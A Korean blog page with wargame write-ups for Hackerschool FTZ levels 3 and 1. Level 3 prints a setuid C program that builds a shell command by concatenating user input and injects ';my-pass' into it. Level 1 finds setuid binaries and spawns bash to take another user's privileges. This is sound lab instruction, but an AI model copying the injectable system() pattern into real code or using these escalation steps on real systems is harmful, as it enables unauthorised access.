반응형
반응형
반응형


해커스쿨 FTZ [LEVEL3] 풀이


M4ndU




해커스쿨 FTZ [LEVEL3] 풀이입니다.


ID | level3

PW | can you fly?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




level3@192.168.31.128's password:

[level3@ftz level3]$ ls -l

total 12

-rw-r--r--    1 root     root          543 Nov 26  2000 hint

drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level3@ftz level3]$ cat hint



다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


소스코드가 나왔네요.


어떤 일을 하는지 봅시다.


int main(int argc, char **argv){


인자값을 받습니다.


strcpy( cmd, "dig @" );

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");


cmd = "dig @"+argv[1](우리가 입력한 값)+" version.bind chaos txt"


system( cmd );


cmd의 값을 실행합니다.





find 명령어로 autodig를 찾아봅시다.


[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null

/bin/autodig


있네요!


이제 이동해서 autodig에 줄 인자값을 생각해 봅시다.


아까 hint내용을 더보면 이런게 있다.


- 동시에 여러 명령어를 사용하려면?


세미콜론 ; 를 사용하여 동시에 여러 명령어를 사용할 수 있다.


- 문자열 형태로 명령어를 전달하려면?



큰 따옴표 "" 를 사용하면 된다.

그럼 이 둘을 사용해 패스워드를 알아보자.

[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".

;my-pass를 넣음으로써 cmd의 값은 dig @;my-pass version.bind chaos txt이 되었고
dig @;가 실행되어 dig: Couldn't find server '': Name or service not known 라는 오류가 떴고,
my-pass가 실행되어 Level4 Password is "suck my brain". 가 출력되었고
version.bind chaos txt는 무시되었다.


바로 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 FTZ [LEVEL1] 풀이


M4ndU




해커스쿨 FTZ [LEVEL1] 풀이입니다.


ID | level1

PW | level1


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level1

level1@192.168.31.128's password:

[level1@ftz level1]$ ls -l

total 12

-rw-r--r--    1 root     root           47 Apr  4  2000 hint

drwxr-xr-x    2 root     level1       4096 Dec  7  2003 public_html

drwxrwxr-x    2 root     level1       4096 Jan 16  2009 tmp



hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level1@ftz level1]$ cat hint



level2 권한에 setuid가 걸린 파일을 찾는다.


level2 권한에 setuid가 걸린 파일을 찾아 봅시다.


find 명령어를 사용하면 됩니다.


[level1@ftz level1]$ find / -user level2 -perm -4300

find: /lost+found: Permission denied

find: /boot/lost+found: Permission denied

find: /proc/1/fd: Permission denied

find: /proc/2/fd: Permission denied

find: /proc/3/fd: Permission denied

....(생략)


하지만 오류가 많아서 우리가 찾고자 하는 파일을 찾기 힘듭니다.

그래서 이 오류들을 제외시켜주는 옵션을 추가해 줍시다.


바로 2> /dev/null 입니다.

여기서 2는 표준에러, /dev/null은 휴지통을 의미합니다.


[level1@ftz level1]$ find / -user level2 -perm -4300 2> /dev/null

/bin/ExecuteMe


찾았습니다!

ExecuteMe가 존재하는 /bin으로 이동하고, ExecuteMe를 실행하겠습니다.


[level1@ftz level1]$ cd /bin

[level1@ftz bin]$ ./ExecuteMe




                레벨2의 권한으로 당신이 원하는 명령어를

                한가지 실행시켜 드리겠습니다.

                (단, my-pass 와 chmod는 제외)


                어떤 명령을 실행시키겠습니까?



                [level2@ftz level2]$



레벨2의 권한으로 원하는 명령어를 실행시켜 준다는데, my-pass와 chmod는 안된다고 합니다.

그렇지만 우리는 다른 방법으로도 level2의 패스워드를 얻을 수 있습니다.


level2의 권한으로 bash를 띄워서 my-pass 명령어를 사용하면 됩니다.


                [level2@ftz level2]$ bash



[level2@ftz level2]$ my-pass


Level2 Password is "hacker or cracker".


이제, 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts